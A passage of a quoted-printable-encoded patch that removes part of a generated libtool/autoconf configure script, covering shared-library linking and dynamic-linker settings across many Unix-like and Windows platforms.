-G${allow_undefined_flag} -M $lib.exp -h $soname -o $lib $lib= objs $deplibs $linker_flags~$rm $lib.exp' - fi - hardcode_libdir_flag_spec=3D'-R$libdir' - hardcode_shlibpath_var=3Dno - case $host_os in - solaris2.[0-5] | solaris2.[0-5].*) ;; - *) # Supported since Solaris 2.6 (maybe 2.5.1?) -=09whole_archive_flag_spec=3D'-z allextract$convenience -z defaultextr= act' ;; - esac - link_all_deplibs=3Dyes - ;; - - sunos4*) - if test "x$host_vendor" =3D xsequent; then -=09# Use $CC to link under sequent, because it throws in some extra .o -=09# files that make .init and .fini sections work. -=09archive_cmds=3D'$CC -G ${wl}-h $soname -o $lib $libobjs $deplibs $c= ompiler_flags' - else -=09archive_cmds=3D'$LD -assert pure-text -Bstatic -o $lib $libobjs $de= plibs $linker_flags' - fi - hardcode_libdir_flag_spec=3D'-L$libdir' - hardcode_direct=3Dyes - hardcode_minus_L=3Dyes - hardcode_shlibpath_var=3Dno - ;; - - sysv4) - case $host_vendor in -=09sni) -=09 archive_cmds=3D'$LD -G -h $soname -o $lib $libobjs $deplibs $link= er_flags' -=09 hardcode_direct=3Dyes # is this really true??? -=09;; -=09siemens) -=09 ## LD is ld it makes a PLAMLIB -=09 ## CC just makes a GrossModule. -=09 archive_cmds=3D'$LD -G -o $lib $libobjs $deplibs $linker_flags' -=09 reload_cmds=3D'$CC -r -o $output$reload_objs' -=09 hardcode_direct=3Dno - ;; -=09motorola) -=09 archive_cmds=3D'$LD -G -h $soname -o $lib $libobjs $deplibs $link= er_flags' -=09 hardcode_direct=3Dno #Motorola manual says yes, but my tests say = they lie -=09;; - esac - runpath_var=3D'LD_RUN_PATH' - hardcode_shlibpath_var=3Dno - ;; - - sysv4.3*) - archive_cmds=3D'$LD -G -h $soname -o $lib $libobjs $deplibs $lin= ker_flags' - hardcode_shlibpath_var=3Dno - export_dynamic_flag_spec=3D'-Bexport' - ;; - - sysv4*MP*) - if test -d /usr/nec; then -=09archive_cmds=3D'$LD -G -h $soname -o $lib $libobjs $deplibs $linker= _flags' -=09hardcode_shlibpath_var=3Dno -=09runpath_var=3DLD_RUN_PATH -=09hardcode_runpath_var=3Dyes -=09ld_shlibs=3Dyes - fi - ;; - - sysv4.2uw2*) - archive_cmds=3D'$LD -G -o $lib $libobjs $deplibs $linker_flags' - hardcode_direct=3Dyes - hardcode_minus_L=3Dno - hardcode_shlibpath_var=3Dno - hardcode_runpath_var=3Dyes - runpath_var=3DLD_RUN_PATH - ;; - - sysv5OpenUNIX8* | sysv5UnixWare7* | sysv5uw[78]* | unixware7*) - no_undefined_flag=3D'${wl}-z ${wl}text' - if test "$GCC" =3D yes; then -=09archive_cmds=3D'$CC -shared ${wl}-h ${wl}$soname -o $lib $libobjs $= deplibs $compiler_flags' - else -=09archive_cmds=3D'$CC -G ${wl}-h ${wl}$soname -o $lib $libobjs $depli= bs $compiler_flags' - fi - runpath_var=3D'LD_RUN_PATH' - hardcode_shlibpath_var=3Dno - ;; - - sysv5*) - no_undefined_flag=3D' -z text' - # $CC -shared without GNU ld will not create a library from C++ - # object files and a static libstdc++, better avoid it by now - archive_cmds=3D'$LD -G${allow_undefined_flag} -h $soname -o $lib= $libobjs $deplibs $linker_flags' - archive_expsym_cmds=3D'$echo "{ global:" > $lib.exp~cat $export_= symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $= lib.exp~ - =09=09$LD -G${allow_undefined_flag} -M $lib.exp -h $soname -o $lib $= libobjs $deplibs $linker_flags~$rm $lib.exp' - hardcode_libdir_flag_spec=3D - hardcode_shlibpath_var=3Dno - runpath_var=3D'LD_RUN_PATH' - ;; - - uts4*) - archive_cmds=3D'$LD -G -h $soname -o $lib $libobjs $deplibs $lin= ker_flags' - hardcode_libdir_flag_spec=3D'-L$libdir' - hardcode_shlibpath_var=3Dno - ;; - - *) - ld_shlibs=3Dno - ;; - esac - fi - -echo "$as_me:$LINENO: result: $ld_shlibs" >&5 -echo "${ECHO_T}$ld_shlibs" >&6 -test "$ld_shlibs" =3D no && can_build_shared=3Dno - -variables_saved_for_relink=3D"PATH $shlibpath_var $runpath_var" -if test "$GCC" =3D yes; then - variables_saved_for_relink=3D"$variables_saved_for_relink GCC_EXEC_P= REFIX COMPILER_PATH LIBRARY_PATH" -fi - -# -# Do we need to explicitly link libc? -# -case "x$archive_cmds_need_lc" in -x|xyes) - # Assume -lc should be added - archive_cmds_need_lc=3Dyes - - if test "$enable_shared" =3D yes && test "$GCC" =3D yes; then - case $archive_cmds in - *'~'*) - # FIXME: we may have to deal with multi-command sequences. - ;; - '$CC '*) - # Test whether the compiler implicitly links with -lc since on s= ome - # systems, -lgcc has to come before -lc. If gcc already passes -= lc - # to ld, don't add -lc before -lgcc. - echo "$as_me:$LINENO: checking whether -lc should be explicitly = linked in" >&5 -echo $ECHO_N "checking whether -lc should be explicitly linked in... $= ECHO_C" >&6 - $rm conftest* - printf "$lt_simple_compile_test_code" > conftest.$ac_ext - - if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 - (eval $ac_compile) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } 2>conftest.err; then - soname=3Dconftest - lib=3Dconftest - libobjs=3Dconftest.$ac_objext - deplibs=3D - wl=3D$lt_prog_compiler_wl - compiler_flags=3D-v - linker_flags=3D-v - verstring=3D - output_objdir=3D. - libname=3Dconftest - lt_save_allow_undefined_flag=3D$allow_undefined_flag - allow_undefined_flag=3D - if { (eval echo "$as_me:$LINENO: \"$archive_cmds 2\>\&1 \| gre= p \" -lc \" \>/dev/null 2\>\&1\"") >&5 - (eval $archive_cmds 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1) 2>&= 5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } - then -=09 archive_cmds_need_lc=3Dno - else -=09 archive_cmds_need_lc=3Dyes - fi - allow_undefined_flag=3D$lt_save_allow_undefined_flag - else - cat conftest.err 1>&5 - fi - $rm conftest* - echo "$as_me:$LINENO: result: $archive_cmds_need_lc" >&5 -echo "${ECHO_T}$archive_cmds_need_lc" >&6 - ;; - esac - fi - ;; -esac - -echo "$as_me:$LINENO: checking dynamic linker characteristics" >&5 -echo $ECHO_N "checking dynamic linker characteristics... $ECHO_C" >&6 -library_names_spec=3D -libname_spec=3D'lib$name' -soname_spec=3D -shrext_cmds=3D".so" -postinstall_cmds=3D -postuninstall_cmds=3D -finish_cmds=3D -finish_eval=3D -shlibpath_var=3D -shlibpath_overrides_runpath=3Dunknown -version_type=3Dnone -dynamic_linker=3D"$host_os ld.so" -sys_lib_dlsearch_path_spec=3D"/lib /usr/lib" -if test "$GCC" =3D yes; then - sys_lib_search_path_spec=3D`$CC -print-search-dirs | grep "^librarie= s:" | $SED -e "s/^libraries://" -e "s,=3D/,/,g"` - if echo "$sys_lib_search_path_spec" | grep ';' >/dev/null ; then - # if the path contains ";" then we assume it to be the separator - # otherwise default to the standard path separator (i.e. ":") - it= is - # assumed that no part of a normal pathname contains ";" but that = should - # okay in the real world where ";" in dirpaths is itself problemat= ic. - sys_lib_search_path_spec=3D`echo "$sys_lib_search_path_spec" | $SE= D -e 's/;/ /g'` - else - sys_lib_search_path_spec=3D`echo "$sys_lib_search_path_spec" | $SE= D -e "s/$PATH_SEPARATOR/ /g"` - fi -else - sys_lib_search_path_spec=3D"/lib /usr/lib /usr/local/lib" -fi -need_lib_prefix=3Dunknown -hardcode_into_libs=3Dno - -# when you set need_version to no, make sure it does not cause -set_ve= rsion -# flags to be left without arguments -need_version=3Dunknown - -case $host_os in -aix3*) - version_type=3Dlinux - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix $l= ibname.a' - shlibpath_var=3DLIBPATH - - # AIX 3 has no versioning support, so we append a major version to t= he name. - soname_spec=3D'${libname}${release}${shared_ext}$major' - ;; - -aix4* | aix5*) - version_type=3Dlinux - need_lib_prefix=3Dno - need_version=3Dno - hardcode_into_libs=3Dyes - if test "$host_cpu" =3D ia64; then - # AIX 5 supports IA64 - library_names_spec=3D'${libname}${release}${shared_ext}$major ${li= bname}${release}${shared_ext}$versuffix $libname${shared_ext}' - shlibpath_var=3DLD_LIBRARY_PATH - else - # With GCC up to 2.95.x, collect2 would create an import file - # for dependence libraries. The import file would start with - # the line `#! .'. This would cause the generated library to - # depend on `.', always an invalid library. This was fixed in - # development snapshots of GCC prior to 3.0. - case $host_os in - aix4 | aix4.[01] | aix4.[01].*) - if { echo '#if __GNUC__ > 2 || (__GNUC__ =3D=3D 2 && __GNUC_MINO= R__ >=3D 97)' -=09 echo ' yes ' -=09 echo '#endif'; } | ${CC} -E - | grep yes > /dev/null; then -=09: - else -=09can_build_shared=3Dno - fi - ;; - esac - # AIX (on Power*) has no versioning support, so currently we can n= ot hardcode correct - # soname into executable. Probably we can add versioning support t= o - # collect2, so additional links can be useful in future. - if test "$aix_use_runtimelinking" =3D yes; then - # If using run time linking (on AIX 4.2 or later) use lib.= so - # instead of lib.a to let people know that these are not - # typical AIX shared libraries. - library_names_spec=3D'${libname}${release}${shared_ext}$versuffi= x ${libname}${release}${shared_ext}$major $libname${shared_ext}' - else - # We preserve .a as extension for shared libraries through AIX4.= 2 - # and later when we are not doing run time linking. - library_names_spec=3D'${libname}${release}.a $libname.a' - soname_spec=3D'${libname}${release}${shared_ext}$major' - fi - shlibpath_var=3DLIBPATH - fi - ;; - -amigaos*) - library_names_spec=3D'$libname.ixlibrary $libname.a' - # Create ${libname}_ixlibrary.a entries in /sys/libs. - finish_eval=3D'for lib in `ls $libdir/*.ixlibrary 2>/dev/null`; do l= ibname=3D`$echo "X$lib" | $Xsed -e '\''s%^.*/\([^/]*\)\.ixlibrary$%\1%'= \''`; test $rm /sys/libs/${libname}_ixlibrary.a; $show "cd /sys/libs &&= $LN_S $lib ${libname}_ixlibrary.a"; cd /sys/libs && $LN_S $lib ${libna= me}_ixlibrary.a || exit 1; done' - ;; - -beos*) - library_names_spec=3D'${libname}${shared_ext}' - dynamic_linker=3D"$host_os ld.so" - shlibpath_var=3DLIBRARY_PATH - ;; - -bsdi[45]*) - version_type=3Dlinux - need_version=3Dno - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major $libname${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - finish_cmds=3D'PATH=3D"\$PATH:/sbin" ldconfig $libdir' - shlibpath_var=3DLD_LIBRARY_PATH - sys_lib_search_path_spec=3D"/shlib /usr/lib /usr/X11/lib /usr/contri= b/lib /lib /usr/local/lib" - sys_lib_dlsearch_path_spec=3D"/shlib /usr/lib /usr/local/lib" - # the default ld.so.conf also contains /usr/contrib/lib and - # /usr/X11R6/lib (/usr/X11 is a link to /usr/X11R6), but let us allo= w - # libtool to hard-code these into programs - ;; - -cygwin* | mingw* | pw32*) - version_type=3Dwindows - shrext_cmds=3D".dll" - need_version=3Dno - need_lib_prefix=3Dno - - case $GCC,$host_os in - yes,cygwin* | yes,mingw* | yes,pw32*) - library_names_spec=3D'$libname.dll.a' - # DLL is installed to $(libdir)/../bin by postinstall_cmds - postinstall_cmds=3D'base_file=3D`basename \${file}`~ - dlpath=3D`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i;echo = \$dlname'\''`~ - dldir=3D$destdir/`dirname \$dlpath`~ - test -d \$dldir || mkdir -p \$dldir~ - $install_prog $dir/$dlname \$dldir/$dlname' - postuninstall_cmds=3D'dldll=3D`$SHELL 2>&1 -c '\''. $file; echo \$= dlname'\''`~ - dlpath=3D$dir/\$dldll~ - $rm \$dlpath' - shlibpath_overrides_runpath=3Dyes - - case $host_os in - cygwin*) - # Cygwin DLLs use 'cyg' prefix rather than 'lib' - soname_spec=3D'`echo ${libname} | sed -e 's/^lib/cyg/'``echo ${r= elease} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}' - sys_lib_search_path_spec=3D"/usr/lib /lib/w32api /lib /usr/local= /lib" - ;; - mingw*) - # MinGW DLLs use traditional 'lib' prefix - soname_spec=3D'${libname}`echo ${release} | $SED -e 's/[.]/-/g'`= ${versuffix}${shared_ext}' - sys_lib_search_path_spec=3D`$CC -print-search-dirs | grep "^libr= aries:" | $SED -e "s/^libraries://" -e "s,=3D/,/,g"` - if echo "$sys_lib_search_path_spec" | grep ';[c-zC-Z]:/' >/dev/n= ull; then - # It is most probably a Windows format PATH printed by - # mingw gcc, but we are running on Cygwin. Gcc prints its sear= ch - # path with ; separators, and with drive letters. We can handl= e the - # drive letters (cygwin fileutils understands them), so leave = them, - # especially as we might pass files found there to a mingw obj= dump, - # which wouldn't understand a cygwinified path. Ahh. - sys_lib_search_path_spec=3D`echo "$sys_lib_search_path_spec" |= $SED -e 's/;/ /g'` - else - sys_lib_search_path_spec=3D`echo "$sys_lib_search_path_spec" |= $SED -e "s/$PATH_SEPARATOR/ /g"` - fi - ;; - pw32*) - # pw32 DLLs use 'pw' prefix rather than 'lib' - library_names_spec=3D'`echo ${libname} | sed -e 's/^lib/pw/'``ec= ho ${release} | $SED -e 's/./-/g'`${versuffix}${shared_ext}' - ;; - esac - ;; - - *) - library_names_spec=3D'${libname}`echo ${release} | $SED -e 's/[.]/= -/g'`${versuffix}${shared_ext} $libname.lib' - ;; - esac - dynamic_linker=3D'Win32 ld.exe' - # FIXME: first we should search . and the directory the executable i= s in - shlibpath_var=3DPATH - ;; - -darwin* | rhapsody*) - dynamic_linker=3D"$host_os dyld" - version_type=3Ddarwin - need_lib_prefix=3Dno - need_version=3Dno - library_names_spec=3D'${libname}${release}${versuffix}$shared_ext ${= libname}${release}${major}$shared_ext ${libname}$shared_ext' - soname_spec=3D'${libname}${release}${major}$shared_ext' - shlibpath_overrides_runpath=3Dyes - shlibpath_var=3DDYLD_LIBRARY_PATH - shrext_cmds=3D'$(test .$module =3D .yes && echo .so || echo .dylib)' - # Apple's gcc prints 'gcc -print-search-dirs' doesn't operate the sa= me. - if test "$GCC" =3D yes; then - sys_lib_search_path_spec=3D`$CC -print-search-dirs | tr "\n" "$PAT= H_SEPARATOR" | sed -e 's/libraries:/@libraries:/' | tr "@" "\n" | grep = "^libraries:" | sed -e "s/^libraries://" -e "s,=3D/,/,g" -e "s,$PATH_SE= PARATOR, ,g" -e "s,.*,& /lib /usr/lib /usr/local/lib,g"` - else - sys_lib_search_path_spec=3D'/lib /usr/lib /usr/local/lib' - fi - sys_lib_dlsearch_path_spec=3D'/usr/local/lib /lib /usr/lib' - ;; - -dgux*) - version_type=3Dlinux - need_lib_prefix=3Dno - need_version=3Dno - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major $libname$shared_ext' - soname_spec=3D'${libname}${release}${shared_ext}$major' - shlibpath_var=3DLD_LIBRARY_PATH - ;; - -freebsd1*) - dynamic_linker=3Dno - ;; - -kfreebsd*-gnu) - version_type=3Dlinux - need_lib_prefix=3Dno - need_version=3Dno - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major ${libname}${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - shlibpath_var=3DLD_LIBRARY_PATH - shlibpath_overrides_runpath=3Dno - hardcode_into_libs=3Dyes - dynamic_linker=3D'GNU ld.so' - ;; - -freebsd*) - objformat=3D`test -x /usr/bin/objformat && /usr/bin/objformat || ech= o aout` - version_type=3Dfreebsd-$objformat - case $version_type in - freebsd-elf*) - library_names_spec=3D'${libname}${release}${shared_ext}$versuffi= x ${libname}${release}${shared_ext} $libname${shared_ext}' - need_version=3Dno - need_lib_prefix=3Dno - ;; - freebsd-*) - library_names_spec=3D'${libname}${release}${shared_ext}$versuffi= x $libname${shared_ext}$versuffix' - need_version=3Dyes - ;; - esac - shlibpath_var=3DLD_LIBRARY_PATH - case $host_os in - freebsd2*) - shlibpath_overrides_runpath=3Dyes - ;; - freebsd3.01* | freebsdelf3.01*) - shlibpath_overrides_runpath=3Dyes - hardcode_into_libs=3Dyes - ;; - *) # from 3.2 on - shlibpath_overrides_runpath=3Dno - hardcode_into_libs=3Dyes - ;; - esac - ;; - -gnu*) - version_type=3Dlinux - need_lib_prefix=3Dno - need_version=3Dno - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}${major} ${libname}${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - shlibpath_var=3DLD_LIBRARY_PATH - hardcode_into_libs=3Dyes - ;; - -hpux9* | hpux10* | hpux11*) - # Give a soname corresponding to the major version so that dld.sl re= fuses to - # link against other versions. - version_type=3Dsunos - need_lib_prefix=3Dno - need_version=3Dno - case "$host_cpu" in - ia64*) - shrext_cmds=3D'.so' - hardcode_into_libs=3Dyes - dynamic_linker=3D"$host_os dld.so" - shlibpath_var=3DLD_LIBRARY_PATH - shlibpath_overrides_runpath=3Dyes # Unless +noenvvar is specified. - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix = ${libname}${release}${shared_ext}$major $libname${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - if test "X$HPUX_IA64_MODE" =3D X32; then - sys_lib_search_path_spec=3D"/usr/lib/hpux32 /usr/local/lib/hpux3= 2 /usr/local/lib" - else - sys_lib_search_path_spec=3D"/usr/lib/hpux64 /usr/local/lib/hpux6= 4" - fi - sys_lib_dlsearch_path_spec=3D$sys_lib_search_path_spec - ;; - hppa*64*) - shrext_cmds=3D'.sl' - hardcode_into_libs=3Dyes - dynamic_linker=3D"$host_os dld.sl" - shlibpath_var=3DLD_LIBRARY_PATH # How should we handle SHLIB_PATH - shlibpath_overrides_runpath=3Dyes # Unless +noenvvar is specified= . - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix= ${libname}${release}${shared_ext}$major $libname${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - sys_lib_search_path_spec=3D"/usr/lib/pa20_64 /usr/ccs/lib/pa20_64= " - sys_lib_dlsearch_path_spec=3D$sys_lib_search_path_spec - ;; - *) - shrext_cmds=3D'.sl' - dynamic_linker=3D"$host_os dld.sl" - shlibpath_var=3DSHLIB_PATH - shlibpath_overrides_runpath=3Dno # +s is required to enable SHLIB_= PATH - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix = ${libname}${release}${shared_ext}$major $libname${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - ;; - esac - # HP-UX runs *really* slowly unless shared libraries are mode 555. - postinstall_cmds=3D'chmod 555 $lib' - ;; - -irix5* | irix6* | nonstopux*) - case $host_os in - nonstopux*) version_type=3Dnonstopux ;; - *) -=09if test "$lt_cv_prog_gnu_ld" =3D yes; then -=09=09version_type=3Dlinux -=09else -=09=09version_type=3Dirix -=09fi ;; - esac - need_lib_prefix=3Dno - need_version=3Dno - soname_spec=3D'${libname}${release}${shared_ext}$major' - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major ${libname}${release}${shared_ext}= $libname${shared_ext}' - case $host_os in - irix5* | nonstopux*) - libsuff=3D shlibsuff=3D - ;; - *) - case $LD in # libtool.m4 will add one of these switches to LD - *-32|*"-32 "|*-melf32bsmip|*"-melf32bsmip ") - libsuff=3D shlibsuff=3D libmagic=3D32-bit;; - *-n32|*"-n32 "|*-melf32bmipn32|*"-melf32bmipn32 ") - libsuff=3D32 shlibsuff=3DN32 libmagic=3DN32;; - *-64|*"-64 "|*-melf64bmip|*"-melf64bmip ") - libsuff=3D64 shlibsuff=3D64 libmagic=3D64-bit;; - *) libsuff=3D shlibsuff=3D libmagic=3Dnever-match;; - esac - ;; - esac - shlibpath_var=3DLD_LIBRARY${shlibsuff}_PATH - shlibpath_overrides_runpath=3Dno - sys_lib_search_path_spec=3D"/usr/lib${libsuff} /lib${libsuff} /usr/l= ocal/lib${libsuff}" - sys_lib_dlsearch_path_spec=3D"/usr/lib${libsuff} /lib${libsuff}" - hardcode_into_libs=3Dyes - ;; - -# No shared lib support for Linux oldld, aout, or coff. -linux*oldld* | linux*aout* | linux*coff*) - dynamic_linker=3Dno - ;; - -# This must be Linux ELF. -linux*) - version_type=3Dlinux - need_lib_prefix=3Dno - need_version=3Dno - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major $libname${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - finish_cmds=3D'PATH=3D"\$PATH:/sbin" ldconfig -n $libdir' - shlibpath_var=3DLD_LIBRARY_PATH - shlibpath_overrides_runpath=3Dno - # This implies no fast_install, which is unacceptable. - # Some rework will be needed to allow for fast_install - # before this can be enabled. - hardcode_into_libs=3Dyes - - # Append ld.so.conf contents to the search path - if test -f /etc/ld.so.conf; then - lt_ld_extra=3D`$SED -e 's/:,\t/ /g;s/=3D^=3D*$//;s/=3D^=3D * / /g'= /etc/ld.so.conf | tr '\n' ' '` - sys_lib_dlsearch_path_spec=3D"/lib /usr/lib $lt_ld_extra" - fi - - # We used to test for /lib/ld.so.1 and disable shared libraries on - # powerpc, because MkLinux only supported shared libraries with the - # GNU dynamic linker. Since this was broken with cross compilers, - # most powerpc-linux boxes support dynamic linking these days and - # people can always --disable-shared, the test was removed, and we - # assume the GNU/Linux dynamic linker is in use. - dynamic_linker=3D'GNU/Linux ld.so' - ;; - -knetbsd*-gnu) - version_type=3Dlinux - need_lib_prefix=3Dno - need_version=3Dno - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major ${libname}${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - shlibpath_var=3DLD_LIBRARY_PATH - shlibpath_overrides_runpath=3Dno - hardcode_into_libs=3Dyes - dynamic_linker=3D'GNU ld.so' - ;; - -netbsd*) - version_type=3Dsunos - need_lib_prefix=3Dno - need_version=3Dno - if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix = ${libname}${shared_ext}$versuffix' - finish_cmds=3D'PATH=3D"\$PATH:/sbin" ldconfig -m $libdir' - dynamic_linker=3D'NetBSD (a.out) ld.so' - else - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix = ${libname}${release}${shared_ext}$major ${libname}${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - dynamic_linker=3D'NetBSD ld.elf_so' - fi - shlibpath_var=3DLD_LIBRARY_PATH - shlibpath_overrides_runpath=3Dyes - hardcode_into_libs=3Dyes - ;; - -newsos6) - version_type=3Dlinux - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major $libname${shared_ext}' - shlibpath_var=3DLD_LIBRARY_PATH - shlibpath_overrides_runpath=3Dyes - ;; - -nto-qnx*) - version_type=3Dlinux - need_lib_prefix=3Dno - need_version=3Dno - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major $libname${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - shlibpath_var=3DLD_LIBRARY_PATH - shlibpath_overrides_runpath=3Dyes - ;; - -openbsd*) - version_type=3Dsunos - need_lib_prefix=3Dno - need_version=3Dno - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${shared_ext}$versuffix' - finish_cmds=3D'PATH=3D"\$PATH:/sbin" ldconfig -m $libdir' - shlibpath_var=3DLD_LIBRARY_PATH - if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host= _os-$host_cpu" =3D "openbsd2.8-powerpc"; then - case $host_os in - openbsd2.[89] | openbsd2.[89].*) -=09shlibpath_overrides_runpath=3Dno -=09;; - *) -=09shlibpath_overrides_runpath=3Dyes -=09;; - esac - else - shlibpath_overrides_runpath=3Dyes - fi - ;; - -os2*) - libname_spec=3D'$name' - shrext_cmds=3D".dll" - need_lib_prefix=3Dno - library_names_spec=3D'$libname${shared_ext} $libname.a' - dynamic_linker=3D'OS/2 ld.exe' - shlibpath_var=3DLIBPATH - ;; - -osf3* | osf4* | osf5*) - version_type=3Dosf - need_lib_prefix=3Dno - need_version=3Dno - soname_spec=3D'${libname}${release}${shared_ext}$major' - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major $libname${shared_ext}' - shlibpath_var=3DLD_LIBRARY_PATH - sys_lib_search_path_spec=3D"/usr/shlib /usr/ccs/lib /usr/lib/cmplrs/= cc /usr/lib /usr/local/lib /var/shlib" - sys_lib_dlsearch_path_spec=3D"$sys_lib_search_path_spec" - ;; - -sco3.2v5*) - version_type=3Dosf - soname_spec=3D'${libname}${release}${shared_ext}$major' - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major $libname${shared_ext}' - shlibpath_var=3DLD_LIBRARY_PATH - ;; - -solaris*) - version_type=3Dlinux - need_lib_prefix=3Dno - need_version=3Dno - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major $libname${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - shlibpath_var=3DLD_LIBRARY_PATH - shlibpath_overrides_runpath=3Dyes - hardcode_into_libs=3Dyes - # ldd complains unless libraries are executable - postinstall_cmds=3D'chmod +x $lib' - ;; - -sunos4*) - version_type=3Dsunos - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${shared_ext}$versuffix' - finish_cmds=3D'PATH=3D"\$PATH:/usr/etc" ldconfig $libdir' - shlibpath_var=3DLD_LIBRARY_PATH - shlibpath_overrides_runpath=3Dyes - if test "$with_gnu_ld" =3D yes; then - need_lib_prefix=3Dno - fi - need_version=3Dyes - ;; - -sysv4 | sysv4.2uw2* | sysv4.3* | sysv5*) - version_type=3Dlinux - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major $libname${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - shlibpath_var=3DLD_LIBRARY_PATH - case $host_vendor in - sni) - shlibpath_overrides_runpath=3Dno - need_lib_prefix=3Dno - export_dynamic_flag_spec=3D'${wl}-Blargedynsym' - runpath_var=3DLD_RUN_PATH - ;; - siemens) - need_lib_prefix=3Dno - ;; - motorola) - need_lib_prefix=3Dno - need_version=3Dno - shlibpath_overrides_runpath=3Dno - sys_lib_search_path_spec=3D'/lib /usr/lib /usr/ccs/lib' - ;; - esac - ;; - -sysv4*MP*) - if test -d /usr/nec ;then - version_type=3Dlinux - library_names_spec=3D'$libname${shared_ext}.$versuffix $libname${s= hared_ext}.$major $libname${shared_ext}' - soname_spec=3D'$libname${shared_ext}.$major' - shlibpath_var=3DLD_LIBRARY_PATH - fi - ;; - -uts4*) - version_type=3Dlinux - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major $libname${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - shlibpath_var=3DLD_LIBRARY_PATH - ;; - -*) - dynamic_linker=3Dno - ;; -esac -echo "$as_me:$LINENO: result: $dynamic_linker" >&5 -echo "${ECHO_T}$dynamic_linker" >&6 -test "$dynamic_linker" =3D no && can_build_shared=3Dno - -echo "$as_me:$LINENO: checking how to hardcode library paths into prog= rams" >&5 -echo $ECHO_N "checking how to hardcode library paths into programs... = $ECHO_C" >&6 -hardcode_action=3D -if test -n "$hardcode_libdir_flag_spec" || \ - test -n "$runpath_var" || \ - test "X$hardcode_automatic" =3D "Xyes" ; then - - # We can hardcode non-existant directories. - if test "$hardcode_direct" !=3D no && - # If the only mechanism to avoid hardcoding is shlibpath_var, we - # have to relink, otherwise we might link with an installed libra= ry - # when we should be linking with a yet-to-be-installed one - ## test "$_LT_AC_TAGVAR(hardcode_shlibpath_var, )" !=3D no && - test "$hardcode_minus_L" !=3D no; then - # Linking always hardcodes the temporary library directory. - hardcode_action=3Drelink - else - # We can link without hardcoding, and we can hardcode nonexisting = dirs. - hardcode_action=3Dimmediate - fi -else - # We cannot hardcode anything, or else we can only hardcode existing - # directories. - hardcode_action=3Dunsupported -fi -echo "$as_me:$LINENO: result: $hardcode_action" >&5 -echo "${ECHO_T}$hardcode_action" >&6 - -if test "$hardcode_action" =3D relink; then - # Fast installation is not supported - enable_fast_install=3Dno -elif test "$shlibpath_overrides_runpath" =3D yes || - test "$enable_shared" =3D no; then - # Fast installation is not necessary - enable_fast_install=3Dneedless -fi - -striplib=3D -old_striplib=3D -echo "$as_me:$LINENO: checking whether stripping libraries is possible= " >&5 -echo $ECHO_N "checking whether stripping libraries is possible... $ECH= O_C" >&6 -if test -n "$STRIP" && $STRIP -V 2>&1 | grep "GNU strip" >/dev/null; t= hen - test -z "$old_striplib" && old_striplib=3D"$STRIP --strip-debug" - test -z "$striplib" && striplib=3D"$STRIP --strip-unneeded" - echo "$as_me:$LINENO: result: yes" >&5 -echo "${ECHO_T}yes" >&6 -else -# FIXME - insert some real tests, host_os isn't really good enough - case $host_os in - darwin*) - if test -n "$STRIP" ; then - striplib=3D"$STRIP -x" - echo "$as_me:$LINENO: result: yes" >&5 -echo "${ECHO_T}yes" >&6 - else - echo "$as_me:$LINENO: result: no" >&5 -echo "${ECHO_T}no" >&6 -fi - ;; - *) - echo "$as_me:$LINENO: result: no" >&5 -echo "${ECHO_T}no" >&6 - ;; - esac -fi - -if test "x$enable_dlopen" !=3D xyes; then - enable_dlopen=3Dunknown - enable_dlopen_self=3Dunknown - enable_dlopen_self_static=3Dunknown -else - lt_cv_dlopen=3Dno - lt_cv_dlopen_libs=3D - - case $host_os in - beos*) - lt_cv_dlopen=3D"load_add_on" - lt_cv_dlopen_libs=3D - 